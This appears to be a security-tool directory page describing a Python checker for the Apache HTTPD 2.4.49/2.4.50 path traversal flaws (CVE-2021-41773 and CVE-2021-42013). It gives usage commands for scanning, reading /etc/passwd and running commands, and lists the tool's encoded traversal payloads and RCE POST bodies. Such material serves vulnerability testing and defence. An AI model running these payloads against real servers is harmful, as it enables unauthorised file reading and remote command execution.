Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
apache-httpd-path-traversal-checker — apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013) | Kitploit
Tools/GitHubGitHub/thelsa/apache-httpd-path-traversal-checker
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubthelsa/apache-httpd-path-traversal-checker

apache-httpd-path-traversal-checker

apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
9534 years agoNot yet reviewed

Apache HTTPD Path Traversal Checker

0x00 Overview

On October 5, 2021, the directory traversal vulnerability (CVE-2021-41773) in Apache HTTPD 2.4.49 was disclosed online, which could lead to arbitrary file reading (if the traversed directory is accessible, such as when configured with <Directory />Require all granted</Directory>, which is not allowed by default) or remote code execution (RCE requires CGI enabled, and the CGI module is not included by default).

On October 8, 2021, a directory traversal vulnerability (CVE-2021-42013) in version 2.4.50 emerged, bypassing the fix for CVE-2021-41773.

Vulnerability details reference: Apache HTTPD 2.4.49/2.4.50 Directory Traversal Vulnerability Reproduction and Analysis

0x01 Quick Start

Run with Python 3.

Usage: python3 apache-httpd-path-traversal.py -h

Single URL check: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"

Batch check: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

File reading: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Command execution: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

0x02 Tool Introduction

Uses urllib.request to send HTTP packets.

The detection of the vulnerability relies on reading /etc/passwd and checking whether the returned data contains the string root: (since most systems are Linux, Windows detection is temporarily ignored).

Multi-threaded with configurable timeout to improve efficiency.

Optional directories (--cdir) and RCE shell command (--rceshell) are available for flexibility.

During detection, a list of common directories is used to increase the hit rate:
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']

Note: sometimes file reading uses the icons directory, while RCE requires the cgi-bin directory — analysis depends on the specific scenario.

Uses 7 PoCs and 2 RCE POST data formats:

root@kitploit:~
#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"

poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"


#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"

poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"

poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"

poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"

#rce data
rce0 = "echo;id"

rce1 = "echo Content-Type: text/plain; echo; id"

// Changing the RCE POST method to GET also seems to work.

// The number of path layers in the payload should be adjusted according to the target Apache directory depth – generally 4 layers are sufficient.

// A directory that exists in Apache (e.g., icons/ or cgi-bin/) is required.

0x03 TODO

  1. May add detection for Windows systems.
  2. May add further exploitation such as reverse shells.

0x04 Feedback

Issues

Gmail: [email protected]

QQ: [email protected]

Download Tool